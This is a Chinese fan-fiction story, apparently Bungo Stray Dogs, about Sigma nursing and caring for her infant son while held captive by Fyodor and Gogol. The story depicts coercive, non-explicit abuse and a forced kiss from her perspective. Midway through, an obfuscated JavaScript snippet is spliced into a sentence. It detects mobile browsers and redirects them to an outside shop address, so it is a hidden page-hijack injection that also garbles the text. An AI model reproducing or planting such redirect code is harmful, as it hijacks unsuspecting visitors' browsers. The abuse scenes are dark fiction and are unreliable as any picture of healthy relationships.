她猛地睁开眼,淡粉色的眼眸里还带着刚睡醒的朦胧,却瞬间褪去了所有睡意,只剩下警惕与温柔交织的神色。 昨夜为了处理完堆积的文件,她睡得很晚,此刻眼底还泛着淡淡的青黑,纤长的眼睫上还沾着未干的水汽。 但她没有丝毫犹豫,动作轻得像一片羽毛,掀开盖在身上的被子,赤着脚踩在温热的地毯上,一步步挪到婴儿床前。 米哈伊尔正躺在柔软的被褥里,小小的身子不安分地扭动着。 他刚满一个月,身体还像一团温热的棉花,粉雕玉琢的脸蛋泛着健康的红晕,眉头微微皱着,嘴里发出断断续续的哼唧声,小胳膊小腿蹬着薄薄的襁褓,像是在寻找什么。 “醒啦,米莎。”西格玛弯下腰,声音放得又轻又柔。 她伸出指尖,轻轻拂过孩子柔软的胎发,那触感细腻得不可思议,像上好的丝绸,带着温热的体温。 小家伙似乎感受到了熟悉的气息,扭动的动作渐渐停了下来。 那双和费奥多尔如出一辙的紫罗兰色眼眸缓缓睁开,蒙着一层水汽,懵懂地望着俯身的西格玛。 他的眼睛很亮,像盛着碎落的星子,干净得没有一丝杂质,与那双总是藏着算计与占有欲的眼眸截然不同。 西格玛的心瞬间被填满了,像是被温水浸泡着,连呼吸都变得柔软起来。 她小心翼翼地将米哈伊尔从婴儿床里抱起来,手掌稳稳托住他纤细的脊背和小小的脑袋,另一只手兜住他蜷曲的腿弯,动作轻柔得像是在捧着一件易碎的琉璃。 这是她练习了无数次的动作。 从米哈伊尔刚出生时的手足无措,到如今的熟练自然,每一个细节都刻在了她的骨子里。 她怕自己力气太大弄疼他,又怕力气太小抱不稳他,只能一遍遍摸索,直到形成肌肉记忆,确保每一次怀抱都安稳而舒适。 “饿了吧?”西格玛将孩子贴在自己胸口,感受着他温热的呼吸拂过衣襟,声音里带着笑意,“妈妈这就喂你。” 她抱着米哈伊尔走到窗边的沙发旁坐下,背后垫着柔软的靠枕,让自己的姿势更舒服些,也能让米哈伊尔更好地依偎在她怀里。 西格玛缓缓解开睡衣的扣子,露出温热的肌肤,将孩子抱得更近些。 米哈伊尔像是嗅到了熟悉的味道,立刻凑了过来,小小的嘴巴准确地含住,开始用力地吮吸起来。 他攥着小小的拳头,粉嫩的脸颊微微鼓起,小小的鼻翼随着呼吸轻轻翕动,模样乖巧又满足。 西格玛垂眸看着怀中的小家伙,目光柔得能滴出水来。 她的指尖轻轻拂过孩子的脸颊、下巴,再到他蜷曲的小手指,每一寸肌肤都温热而柔软。 哺乳的时刻,总是她一天里最安心的时光。 没有处理不完的文件,没有费奥多尔带着占有欲的注视,没有果戈里突如其来的纠缠。 只有她和她的孩子,在暖融融的房间里,感受着彼此的体温与呼吸。 她不再是任人摆布的筹码,不再是那个没有根、没有归宿的西格玛。 只是一个喂养自己孩子的母亲,一个被需要、被依赖的母亲。 “慢点吃,别急呀。”她轻声呢喃着,声音温柔得像是在哼唱摇篮曲,“没有人会跟你抢,慢慢吃。” 米哈伊尔似乎听懂了她的话,吮吸的节奏放缓了些,偶尔会停下来,睁着那双紫罗兰色的眼睛望她一眼,然后又埋首继续吮吸。 阳光透过窗户上的薄雪,折射出柔和的光线,落在他长长的睫毛上,像镀上了一层金边。 西格玛的心底漫过一阵滚烫的暖流。 那是一种无法割裂的连接,柔软得像棉花,温暖得像冬日里难得的阳光。 这就是家人吗?她常常这样问自己。 在被“书”创造出来的两年人生里,她从未体会过这样的感觉。 沙漠里的孤独,俄罗斯的寒冷,费奥多尔的禁锢,果戈里的纠缠,都让她觉得自己像一粒随风飘散的尘埃,无依无靠。 可自从米哈伊尔来到这个世界,她忽然有了牵挂,有了想要守护的东西。 米哈伊尔吃饱了,松开嘴巴,打了一个小小的饱嗝,嘴角还沾着一点奶渍。 西格玛拿出早已备好的干净手帕,轻轻擦拭着他的嘴角,动作细致而温柔。 然后她将孩子竖抱起来,让他的头靠在自己的肩膀上,手掌呈空心状,轻轻拍打着他的后背,帮他排出胃里的空气。 “乖,拍一拍就不难受了。”她的手掌轻轻移动着,力度控制得恰到好处,“我们米莎最乖了,从不哭闹。” 米哈伊尔很配合,在她的轻拍下,又打了一个饱嗝,然后舒服地蹭了蹭她的肩膀,闭上眼睛,小脑袋一点一点的,似乎又要睡着了。 西格玛抱着他,静静地坐在沙发上,目光望向窗外。 雪还在落,将世界染成一片纯白,白桦林的枝桠上积满了雪,像一个个毛茸茸的棉花糖。 这样的景象很美,却也带着刺骨的寒意,可此刻的她,却觉得无比温暖。 因为她的怀里,有她的全世界。 等米哈伊尔彻底睡熟后,西格玛小心翼翼地将他放回婴儿床里,为他盖好薄薄的襁褓,确保他的小胳膊小腿都舒展开来,不会被束缚住。 她在婴儿床边站了一会儿,看着孩子均匀的呼吸,看着他嘴角挂着的浅浅笑意,自己的唇角也不自觉地勾起一抹极淡的弧度。 这是属于她的、无人打扰的时光。 费奥多尔一早便出去了,说是有重要的事情要处理,果戈里也不知去了哪里,整座安全屋安静得只剩下她和米哈伊尔的呼吸声。 这样的机会难得,她必须抓紧时间处理工作,同时也要好好陪伴这个小小的生命。 西格玛走到书桌前,桌上堆满了文件,都是需要她整理和分析的情报。 她深吸一口气,压下心底的温柔与眷恋,重新拿起钢笔,指尖握住笔杆的瞬间,便切换回了那个冷静而专注的状态。 笔尖划过纸张的沙沙声,在安静的房间里格外清晰,却并不显得突兀,反而与婴儿床里米哈伊尔均匀的呼吸声交织在一起,形成了一种独特的韵律。 西格玛的动作很快,字迹工整而细致,每一个数字、每一个代号都记录得准确无误。 但她的注意力,始终有一部分放在婴儿床的方向。 每隔一会儿,她就会抬起头,望向那个小小的身影,确认他睡得安稳,没有哭闹,然后才放心地低下头,继续处理文件。 有一次,米哈伊尔在睡梦中哼唧了一声,小小的身子动了一下。 西格玛的笔尖立刻顿住,心脏猛地提了起来,几乎是立刻放下笔,快步走到婴儿床前。 直到看到孩子只是动了动身子,又继续沉沉睡去,她才松了口气,轻轻拍了拍胸口,眼底闪过一丝后怕。 她太怕这份平静被打破,太怕这个小小的生命受到任何伤害。 在这个冰冷而危险的世界里,米哈伊尔是她唯一的光,是她活下去的希望。 为了他,她愿意承受一切苦难。 处理完一部分文件,窗外的雪似乎小了些,阳光透过云层,在雪地上投下斑驳的光影。 西格玛伸了个懒腰,活动了一下僵硬的脖颈和手指。 长时间保持一个姿势,让她的肩膀和后背都有些酸痛,但看着桌上渐渐减少的文件,再看看婴儿床里熟睡的米哈伊尔,她觉得一切都值得。 西格玛走到婴儿床前,米哈伊尔正好醒了过来,睁着那双紫罗兰色的眼睛,静静地望着天花板,没有哭闹,只是偶尔蹬蹬小腿,模样乖巧又可爱。 “醒啦,我的小宝贝。”西格玛弯下腰,将他从婴儿床里抱起来,“我们来玩一会儿好不好?” 她抱着米哈伊尔走到房间中央,那里铺着柔软的爬行垫,上面放着几个适合新生儿的玩具。 颜色鲜艳的拨浪鼓、会发出轻柔声响的摇铃、还有材质安全的毛绒小熊。 西格玛将米哈伊尔轻轻放在爬行垫上,让他平躺下来。 小家伙似乎对周围的环境充满了好奇,睁着眼睛四处张望,小胳膊小腿不停地挥舞着。 西格玛拿起拨浪鼓,轻轻摇了起来。“咚咚咚”的声音清脆而柔和,吸引了米哈伊尔的注意力。 他的目光立刻被拨浪鼓吸引过去,小脑袋跟着拨浪鼓的方向转动着,嘴角微微上扬,露出了一个无意识的笑容。 “喜欢吗?”西格玛笑着,将拨浪鼓凑到他的眼前,让他看得更清楚些,“这是拨浪鼓,摇一摇就会响哦。” 米哈伊尔伸出小小的手,想要去抓拨浪鼓,可他的手还太小,力气也不足,总是抓空。 西格玛耐心地引导着他,将拨浪鼓轻轻放在他的手心里,帮他握住鼓柄,然后带着他一起摇晃。 清脆的鼓声再次响起,米哈伊尔笑得更开心了,眼睛眯成了一条缝,嘴里发出“咯咯”的笑声,那声音像银铃般悦耳,瞬间驱散了房间里所有的沉闷。 西格玛的心里像是被灌满了蜜糖,甜得发腻,却又无比幸福。 这是她第一次听到米哈伊尔这样开怀地笑,那笑容纯粹而干净,像是冬日里的暖阳,瞬间照亮了她灰暗的人生。 “真可爱。”她忍不住低下头,在米哈伊尔的额头上亲了一下,那触感柔软而温热,“我们米莎笑起来真好看。” 她又拿起摇铃,轻轻晃动着,发出“叮铃叮铃”的声响。 米哈伊尔的注意力立刻又被摇铃吸引过去,小眼睛紧紧盯着摇铃,小嘴巴张着,露出了还没长牙的牙龈,模样憨态可掬。 西格玛一边摇晃着摇铃,一边在他耳边轻声说话:“米莎,看这里呀。这是摇铃,声音好不好听?” 她的声音温柔得像是春风,“妈妈陪你玩,一直陪着你。” 小家伙似乎很享受这样的时光,挥舞着小胳膊小腿,想要去够摇铃,偶尔能碰到摇铃的边缘,就会露出开心的笑容。 西格玛就这样陪着他,一会儿摇拨浪鼓,一会儿晃摇铃,一会儿又拿起毛绒小熊,在他眼前晃来晃去,模仿着小熊的叫声。 房间里充满了她温柔的话语声和玩具的声响,还有米哈伊尔偶尔发出的笑声,温馨而美好。 西格玛完全沉浸在这份快乐里,忘记了所有的烦恼与恐惧,忘记了费奥多尔和果戈里的存在,忘记了这座安全屋其实是一个华丽的囚笼。 她只知道,此刻她是幸福的,她的孩子也是幸福的。 玩了一会儿,米哈伊尔似乎有些累了,挥舞的动作慢了下来,眼睛也开始犯困,时不时地眨一下。 西格玛见状,立刻停下了手中的动作,轻轻将他从爬行垫上抱起来,搂在怀里。 “累了吧?”她轻声问着,指尖轻轻拂过他的脸颊,“我们休息一会儿,好不好?” 她抱着米哈伊尔走到窗边,拉开厚重的窗帘,让更多的阳光照进来。 阳光落在他们身上,暖洋洋的,很舒服。 西格玛抱着孩子,静静地站在窗边,看着窗外的雪景,看着雪花落在白桦林的枝桠上,看着不远处的屋顶被白雪覆盖,像一个个童话里的城堡。 “米莎,你看,外面下雪了。”她轻声呢喃着,“雪是白色的,很干净,也很凉。等你长大了,妈妈带你去看雪,好不好?” 她知道,这个承诺或许很难实现。费奥多尔不会允许她自由出入,果戈里也不会让她安安稳稳地过日子。 但她还是忍不住这样想,忍不住对未来抱有一丝微弱的期待。 她希望米哈伊尔能健康快乐地长大,希望他能看到这个世界的美好,而不是像她一样,被禁锢在一方小小的天地里,看不到希望。 米哈伊尔靠在她的怀里,听着她的声音,感受着她的体温,渐渐闭上了眼睛,再次睡了过去。 他的呼吸均匀而平稳,小脸上带着满足的笑容,像是在做一个甜甜的梦。 西格玛抱着他,回到沙发上坐下,让他依偎在自己的怀里,盖好薄毯。 她没有再去处理文件,只是静静地抱着孩子,感受着这份难得的宁静与幸福。 她的指尖轻轻划过孩子的胎发、眉毛、眼睛、鼻子、嘴巴,每一个细节都细细描摹着,像是要将这个小小的身影刻在自己的心底。 她想起了自己的过往,想起了沙漠里的夜晚,想起了那些孤独而寒冷的日子。 那时候的她,不知道什么是温暖,不知道什么是亲情,甚至不知道自己是谁,为什么会存在。 而现在,她有了米哈伊尔,有了属于自己的亲情,有了活下去的意义。 “妈妈会保护你的,米莎。”她在心里默默发誓,“无论发生什么事,妈妈都会保护你,不会让你受到任何伤害。” 这份誓言,比任何承诺都要沉重,也比任何力量都要坚定。 为了米哈伊尔,她愿意变得更加强大,愿意付出一切代价。 中午的时候,西格玛简单吃了点东西。她不敢离开米哈伊尔太久,只是快速地加热了一些面包和牛奶,狼吞虎咽地吃完,然后立刻回到婴儿床前。 米哈伊尔还在睡,睡得很沉。西格玛坐在床边的椅子上,静静地看着他,手里拿着一本育儿手册,轻轻翻看着。 这是她从费奥多尔给她的书籍里找到的,上面详细介绍了如何照顾新生儿,如何喂养、如何换尿布、如何哄睡、如何应对孩子的哭闹。 她看得很认真,时不时地在心里记下重点,然后对照着米哈伊尔的情况,思考着自己哪些地方做得好,哪些地方还需要改进。 她希望自己能成为一个合格的母亲,能给米哈伊尔最好的照顾。 下午,米哈伊尔醒了几次,每次醒来,西格玛都会第一时间陪在他身边,喂奶、换尿布、陪他玩一会儿。 小家伙的精神很好,每次醒来都很活跃,眼睛亮晶晶的,对周围的一切都充满了好奇。 西格玛会抱着他,在房间里慢慢走动,给他介绍房间里的东西:“这是桌子,妈妈在这里工作;这是椅子,妈妈在这里坐着陪你;这是窗户,我们从这里看外面的雪……” 她的声音温柔而耐心,像是在给一个孩子介绍世界,哪怕她知道,米哈伊尔现在还听不懂。 但她还是愿意这样做,她希望米哈伊尔能尽早熟悉这个世界,熟悉他身边的一切,希望他能感受到妈妈的爱与陪伴。 有一次,米哈伊尔抓住了她垂落在肩头的半白半紫的长发,小小的手指紧紧攥着,不肯松开。 西格玛没有强行掰开他的手,只是温柔地抚摸着他的小手,轻声说:“这是妈妈的头发,米莎喜欢吗?” 小家伙似乎很喜欢那柔软的触感,攥着头发晃了晃,嘴角露出了开心的笑容。 西格玛笑着,任由他攥着,直到他自己松开手,去抓旁边的玩具。 下午四点多的时候,西格玛开始准备米哈伊尔的晚餐。 对于一个月大的婴儿来说,晚餐依旧是母乳。但她还是提前做好了准备,清洗了双手,整理了衣襟,确保自己的状态良好,能让米哈伊尔吃得安心。 喂奶的时候,米哈伊尔比早上更活跃些,吃一会儿就会抬起头,望她一眼,然后又继续吃。 西格玛耐心地陪着他,时不时地轻声安抚着,直到他吃饱喝足。 喂完奶,换好尿布,西格玛抱着米哈伊尔,在房间里散步。 夕阳西下,金色的阳光透过窗户,洒在房间里,给一切都镀上了一层温暖的光晕。 “米莎,今天过得开心吗?”她轻声问着,“妈妈很开心,因为有你陪着我。” 西格玛抱着孩子,走到书桌前,看着桌上已经处理完大半的文件,心里涌起一股成就感。 她不仅照顾好了米哈伊尔,还完成了一部分工作,没有因为孩子而耽误正事。 这样的平衡,让她觉得很踏实。 接下来的时间,西格玛一边陪着米哈伊尔玩,一边处理剩下的文件。 她将婴儿床挪到书桌旁边,这样既能随时关注到孩子的情况,又能安心工作。 米哈伊尔很乖,自己躺在婴儿床里,玩着挂在床栏上的玩具,时不时地发出一两声咿呀的声响,却从不哭闹,不会打扰到她。 夕阳渐渐落下,夜色笼罩大地。 窗外的雪不知何时又开始下了起来,比早上更大些,簌簌地敲打着窗棂,发出轻微的声响。 西格玛打开房间里的灯,暖黄的灯光照亮了整个房间,营造出一种温馨而静谧的氛围。 处理完最后一份文件,西格玛长长地舒了一口气。她走到婴儿床前,米哈伊尔正躺在里面,睁着眼睛望着天花板,小胳膊小腿挥舞着,似乎还不想睡觉。 “我们该睡觉了,米莎。”西格玛弯下腰,将他从婴儿床里抱起来,“天黑了,大家都要睡觉了,我们的小宝贝也要睡觉啦。” 她抱着孩子,走到浴室里,准备给他清洗一下。 西格玛先打开暖气,确保浴室里足够温暖,然后拿出干净的毛巾和温水,轻轻擦拭着米哈伊尔的脸、脖子、胳膊和腿。 小家伙很享受这种清洁,乖乖地任由她摆弄,偶尔会发出舒服的哼唧声。 清洗完毕,西格玛给米哈伊尔换上干净的睡衣,然后抱着他回到卧室。 她将孩子放在柔软的婴儿床上,自己坐在床边,轻轻拍打着他的后背,哼唱着不成调的摇篮曲。 “睡吧,睡吧,我亲爱的宝贝。”她的声音温柔而舒缓,像春风拂过湖面,“妈妈在身边,保护你,陪着你。” 米哈伊尔的眼睛渐渐闭上了,呼吸也变得越来越均匀。 但他似乎还有些不安,小眉头微微皱着,小手紧紧攥着西格玛的衣角。 西格玛见状,俯下身,在他的额头上轻轻印下一个晚安吻。 那吻很轻,很柔,带着她满满的爱意与祝福。 “晚安,米莎。”她轻声说,“做个甜甜的梦,梦里有妈妈,有阳光,还有很多很多的快乐。” 仿佛感受到了她的爱意与安抚,米哈伊尔的眉头渐渐舒展开来,攥着衣角的手也松开了,嘴角露出了一丝浅浅的笑容。 他彻底睡熟了,像一个天使,安静而美好。 西格玛坐在床边,静静地看着他,目光里充满了温柔与眷恋。 她就这样看了很久,直到确认他睡得很安稳,才小心翼翼地起身,为他盖好被子。 西格玛走到一旁,简单收拾了一下书桌,将文件整理好,放进抽屉里。 然后她走到窗边,望着窗外漫天飞舞的雪花,心里一片平静。 这一天,过得很充实,也很幸福。 没有费奥多尔的打扰,没有果戈里的纠缠,只有她和米哈伊尔,在这座被白雪覆盖的安全屋里,度过了属于他们母子二人的宁静时光。 她知道,这样的日子或许不会太多,或许明天,费奥多尔就会回来,果戈里也会出现,她又会回到那种被禁锢、被掌控的生活里。 但现在西格玛不那么害怕了。 因为她有了米哈伊尔,有了活下去的勇气和希望。 哪怕只有一天这样的时光,哪怕只是短暂的宁静与幸福,对她来说,也已经足够了。 这些珍贵的回忆,会像一束光,照亮她未来的路,支撑着她走过那些黑暗而艰难的日子。 西格玛伸出手,轻轻抚摸着冰冷的窗户,看着窗外的雪景,嘴角勾起一抹淡淡的、满足的笑。 窗外的雪还在落,无声地覆盖着一切。 房间里,米哈伊尔均匀的呼吸声,与雪花飘落的声响交织在一起,形成了一首温馨而宁静的夜曲。 —————— 西格玛在床上沉沉睡去,呼吸轻浅而均匀。 紧挨着床边的婴儿床里,米哈伊尔正裹着柔软的襁褓,发出细碎的呓语。 暖黄的灯光漫过被褥,将房间晕染成一片安静的昏沉。 半梦半醒间,她隐约察觉到房门被轻轻推开,带进来一缕室外的凉意。 是费奥多尔。 仅仅是那道熟悉的气息,便让西格玛的意识瞬间清醒。 她的身体几不可察地绷紧,眼睑却依旧紧闭着,连呼吸都刻意放得平缓,像一尊不敢动弹的人偶。 费奥多尔的脚步很轻,踩在地毯上悄无声息。 他自然地走到床的另一边,抬手掀开被子的一角,躺了进来。 床垫微微下陷,带着他身上独有的茶香与冷意。 他凑近过来,微凉的指尖轻轻撩起西格玛的睡裙下摆,触碰到她腰腹的肌肤。 那里的皮肤柔软而敏感,被冰凉的指尖一激,西格玛的睫毛猛地颤了颤,却终究没有睁开眼。 她没有反抗,也没有躲闪,什么都没做,就像她一直以来那样。 在他面前,她早已习惯了逆来顺受,习惯了将所有的恐惧与抗拒,都死死压在心底。 费奥多尔似乎很满意她的顺从,手臂微微一收,便将她纤细的身体搂进了自己的怀里。 他的下巴抵在她的发顶,呼吸拂过她的耳畔,带着一种近乎餍足的沉静。 他什么都没做,没有多余的触碰,没有低语,只是这样将她圈在怀中,与她一同闭目安眠。 可这无声的禁锢,对西格玛而言,却比任何实质性的掠夺都更像折磨。 他身上的冷香萦绕在鼻尖,胸膛的温度隔着薄薄的衣料传来,每一次呼吸的起伏,都像是在提醒她无处可逃的处境。 西格玛的神经绷得像一张拉满的弓,不敢动,不敢出声,甚至不敢用力呼吸。 明明是相拥而眠的姿态,却透着刺骨的疏离与窒息。 拥抱本该是一件温暖的事,但费奥多尔的拥抱就像是一个牢笼,牢牢的困住了西格玛。 窗外的雪不知何时停了,月光透过窗帘的缝隙,在地板上投下斑驳的光影。 长夜漫漫,西格玛睁着眼睛望着黑暗的天花板,听着身旁男人平稳的呼吸,只觉得每一分每一秒都漫长得像一个世纪。 婴儿床里的米哈伊尔偶尔发出一声呓语,成了这死寂的夜里,唯一一点微弱的生机。 天刚蒙蒙亮,窗外的雪光透过窗帘缝隙,在地板上投下一道清冷的光带。 西格玛是被婴儿床里米哈伊尔细碎的哼唧声惊醒的,或是说,她根本就没真正睡着过。 费奥多尔的手臂依旧环在她的腰间,力道不重,却像一道无形的枷锁,让她整夜都保持着僵硬的姿态。 他的呼吸均匀而绵长,温热地拂在她的后颈,带着熟悉的茶香,却让她浑身的汗毛都紧绷着。 她没有立刻睁眼,也没有动,只是屏住呼吸,感受着身侧人平稳的气息。 直到确认费奥多尔还没醒,她才极其缓慢地、一寸一寸地挪开他的手臂。 西格玛睁开眼看向身旁的婴儿床,米哈伊尔已经醒了,正睁着那双紫罗兰色的眼睛,好奇地打量着四周,小嘴巴一张一合地发出软糯的哼唧声。 她小心翼翼地爬起来,起身时腰腹传来一阵酸痛,那是整夜僵硬带来的不适。 她低头看了眼自己的睡裙,裙摆还维持着被撩起的痕迹,腰腹间那片肌肤仿佛还残留着他微凉指尖的触感,让她忍不住打了个寒噤。 西格玛拢了拢睡裙,脚步放得极轻,她没有回头看床上的费奥多尔,只是快步走到婴儿床边,俯身小心翼翼地将米哈伊尔抱起。 怀里温热的小身子贴着胸膛,心脏处传来的柔软触感,让她紧绷了一夜的神经稍稍舒缓。 西格玛低头看着孩子纯净的紫罗兰色眼眸,那双眼睛里没有丝毫阴霾,只有懵懂的好奇,眼底不由得闪过一丝复杂的情绪。 有愧疚,有怜惜,还有一丝难以言说的茫然。 看到孩子的瞬间,西格玛眼底的惊惧才稍稍褪去,换上一层柔软的柔光。 这一夜,她被费奥多尔的气息困在枕边,连动一根手指都觉得惶恐,连起身给米哈伊尔喂奶的勇气都没有。 小家伙乖得不像话,饿了也只是发出细碎的哼唧,半点哭闹都没有,就那样安安静静地熬到了天亮。 他是多么乖巧的孩子啊。 西格玛鼻尖发酸,心底泛起一阵尖锐的疼。 为什么会有自己这样懦弱的母亲? 她将米哈伊尔搂得更紧些,动作轻柔地晃着,指尖一下下拍着他的后背,像在哄慰孩子,也像在安抚自己。 可即便抱着这团温热的小生命,昨夜被无声禁锢的窒息感依旧如影随形,攥得她心口发紧,连拍着孩子的指尖都在微微发颤。 “米莎,早安。” 西格玛用只有两人能听到的声音低语,指尖轻轻抚摸着孩子柔软的脸颊,那触感细腻得像云朵,让她忍不住红了眼眶。 而身后的床上,费奥多尔缓缓睁开了眼。 紫罗兰色的眼眸里没有丝毫睡意,正静静地注视着她的背影,唇角噙着一抹浅淡的笑意。 身后传来细微的被褥摩擦声,西格玛的身体瞬间僵住,连呼吸都停滞了一瞬。她不用回头也知道,费奥多尔醒了。 “早。” 他的声音带着刚睡醒的沙哑,依旧是那副温和的语调,仿佛昨夜那场令人窒息的相拥,只是寻常夫妻间再平淡不过的温情。 西格玛没有回头,只是抱着米哈伊尔的手臂紧了紧,声音轻得像一缕烟:“早安。” 她不敢回头,不敢去看他那双深不见底的紫罗兰色眼眸,生怕在那片温柔的潭水里,看到一丝若有若无的玩味,或是掌控一切的笑意。 对她而言,这样“相安无事”的一夜,不过是另一场无声折磨的延续。 而新的一天,也只是在这无形的囚笼里,重复昨日的恐惧与麻木。 —————— 果戈里又一次在西格玛伏案办公时,悄无声息地出现在她的背后。 窗外的雪还在簌簌落着,夜色渐深,房间里只有笔尖划过纸页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193620|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沙沙声。 西格玛早已熟悉了他这种鬼魅般的登场方式,甚至连睫毛都未曾颤动一下,手中的钢笔依旧行云流水地书写着,仿佛身后空无一人。 直到一双带着室外雪气的手臂,毫无预兆地揽住了她的腰肢。 冰冷的触感透过薄薄的衣料传来,紧接着,那双手便带着几分轻佻的意味,缓缓向上摩挲。 “啪嗒”一声,西格玛手中的钢笔应声掉落在桌面上,墨水滴在纸页上,晕开一团刺目的黑。 西格玛的身体猛地绷紧,指尖下意识地蜷缩起来,一股熟悉的寒意顺着脊椎窜上后颈,反抗的念头几乎是瞬间涌上心头。 可她的动作却在刹那间僵住了。 脑海里骤然闪过米哈伊尔出生之前的那些日子,那些被恐惧与无力裹挟的、暗无天日的时光。 她像一件任人摆布的玩偶,连呼吸都要看他人的脸色。 难道……一切又要回到那个时候了吗? 这个念头像一根冰冷的针,刺破了她好不容易才攒起的、微薄的安稳。 西格玛怔怔地坐在椅子上,眼底的惊惶一点点褪去,取而代之的是一片死寂的麻木。 她缓缓松开了攥紧的手指,背脊一点点垮下去,连挣扎的力气都仿佛被抽干了。 算了。 反抗,从来都是徒劳的。 西格玛没有再动,也没有抬头,任由果戈里的手臂环着自己,任由那带着侵略性的气息将自己笼罩,眼底只剩下一片沉沉的灰暗。 果戈里微凉的指尖捏住西格玛的下巴,强硬地将她的脸别了过来。 他俯身凑近,呼吸里带着室外的雪气,还有一丝近乎疯狂的笑意。 “我思考了很久,”他看着西格玛眼底翻涌的惊惧,唇角的弧度愈发张扬,“既然西格玛和费佳有了米哈伊尔。” 果戈里顿了顿,指尖轻轻摩挲着她颤抖的唇角,像是在把玩一件心爱的藏品。 “那我和西格玛,也该有一个孩子才对。” 话音落下的瞬间,他低低地笑出声来,那笑声里带着几分孩子气的执拗,又藏着不容置喙的掠夺意味,像一把裹着糖霜的刀,温柔地抵在西格玛的喉咙上。 西格玛没说话。 因为下一秒,果戈里的吻便猝不及防地落了下来,粗暴地堵住了她的嘴。 冰冷的唇瓣带着雪的凛冽,蛮横地掠夺着她唇间的气息,容不得半分退缩与躲闪。 若是她想拒绝,喉咙里却只能溢出细碎的呜咽,所有话语都会被吞没在这带着侵略性的吻里,连一丝反抗的余地都没有。 更何况,西格玛从一开始就没打算反抗,也没打算拒绝。 费奥多尔也好,果戈里也罢,他们的任何要求,对她而言都只是无法挣脱的枷锁。 反抗是徒劳的,拒绝更是奢望,她只能像一尊没有灵魂的人偶,任由他们肆意摆布。 身体的僵硬,心底的麻木,早已成了刻入骨髓的本能。 米哈伊尔带来的那一点光亮,终究还是太微弱了。 那点光,只能在她低头看着孩子纯净眼眸时,短暂地暖一暖心底的荒芜。 可当抬起头,直面这冰冷的现实时,那点光便会被无形的阴霾吞噬,连一丝余温都留不下。 它始终无法照亮她,无法穿透层层叠叠的恐惧与绝望,更无法带她走出这片名为“身不由己”的黑暗。 更让西格玛心如刀绞的是,是她亲手将米哈伊尔带到了这个囚笼之中。 这个孩子本该拥有明亮的天空,温暖的风,而不是从降生起,就注定要被卷入这扭曲的漩涡。 都是她的错,她从来都不是一个合格的母亲,连护着自己的孩子远离这泥潭的能力都没有。 而果戈里刚刚那番想要和她拥有一个孩子的话,落在西格玛耳中,更像是一把淬了冰的利刃,狠狠剜着她早已千疮百孔的心。 原来他们对她的剥削还不够,连她腹中尚未成形的生命,都要被当作这场掌控游戏里的新筹码。 西格玛看着果戈里眼底那抹近乎偏执的笑意,只觉得浑身发冷,却连一丝反抗的力气都没有,只能任由无边的无力感将自己彻底淹没。 果戈里似乎看穿了她心底翻涌的绝望,指尖慢条斯理地划过她的下颌线,冰凉的触感让西格玛控制不住地颤抖。 他微微歪头,眼底盛着孩子气的疯癫,又带着几分残忍的玩味:“怎么不说话?西格玛是在期待吗?” 西格玛的嘴唇翕动了几下,却发不出任何声音。 她的目光越过果戈里的肩膀,落在不远处的婴儿床上。 米哈伊尔不知何时醒了,正睁着那双和费奥多尔如出一辙的紫罗兰色眼眸,懵懂地望着这边,小嘴巴一张一合,发出软糯的哼唧声。 那目光像一根针,狠狠刺破了她强撑的平静。 西格玛的眼眶倏地红了,眼底的恐惧、愧疚、无力交织在一起,凝成一片浑浊的水光。 她想别过头,想躲开果戈里的视线,想捂住米哈伊尔的眼睛,不让孩子看到这不堪的一幕。 可身体却像被钉在了椅子上,连眨眼都变得艰难。 果戈里顺着她的目光看向婴儿床,低低地笑出了声。 他俯身凑近她的耳畔,温热的呼吸混杂着雪的寒意,一字一句,像毒蛇的信子,舔舐着她的耳膜:“你看,米沙多可爱。等我们的孩子出生,两个小家伙作伴,不是很有趣吗?” 西格玛的睫毛剧烈地颤抖着,眼泪终于不受控制地滚落下来,砸在桌面上,晕开一小片深色的水渍。 她死死咬着下唇,直到尝到淡淡的血腥味,才勉强压下喉咙里的哽咽。 果戈里的目光落在她濡湿的面颊上,指尖微微一顿,随即俯身,舌尖轻轻舔舐过她的泪痕。 那触感温热而濡湿,带着一种近乎亵渎的亲昵。 他没有停顿,又低头,轻柔地吻在她泛红的眼睑上,唇瓣的温度熨帖着她的肌肤,动作温柔得像真正的情人。 可这突如其来的温柔,却让西格玛怕得浑身都在发抖。 她的身体绷得像一张即将断裂的弓,连指尖都在不受控制地蜷缩,眼底的惊惧几乎要溢出来。 果戈里怎么可能看不到她的抗拒?他将她眼底的恐惧与瑟缩看得一清二楚,连她睫毛颤抖的弧度,连她脊背绷直的僵硬,都逃不过他的眼睛。 可正是这份无法掩盖的害怕,这份无处可逃的绝望,像最烈的酒,灼烧着他的神经,让他眼底的疯癫愈发浓重,几乎要凝成实质。 果戈里不可能看着费奥多尔靠着孩子和西格玛越走越近,不可能看着那所谓的“牵绊”在两人之间生根发芽。 那就让一切变得愈加混乱吧。 混乱到极致,才有趣。 果戈里抵着西格玛的额头,鼻尖蹭过她冰凉的肌肤,低低地笑出声,声音里带着压抑不住的兴奋与疯狂:“西格玛,你发抖的样子,真迷人。” 西格玛知道,或许自己恐惧的样子,在对方眼里,不过是一场供人取乐的表演。 她的绝望,她的无助,都是他眼中最鲜活的点缀。 日复一日的痛苦照常袭来,西格玛已经变得麻木。 她甚至感受不到鼻尖那点属于果戈里的温度,只觉得额头上的触感像一块浸了冰的铁,冷得刺骨,却又带着一种令人作呕的黏腻。 身体的颤抖早已不受控制,不是因为恐惧,更像是一种长期被折磨后的生理本能。 如同风中残烛的火苗,明明微弱得随时会熄灭,却又固执地、徒劳地摇晃着。 西格玛的目光越过果戈里凌乱的发梢,穿过房门,落在远处空荡荡的走廊尽头,那里只有一片浓稠的黑暗,像一张沉默的嘴,无声地吞噬着所有试图逃离的微光。 她忽然想起自己诞生的那片沙漠,滚烫的沙砾,无边的荒芜,还有那永无止境的孤独。 那时的她一无所有,却至少拥有对“存在”本身的懵懂期盼。 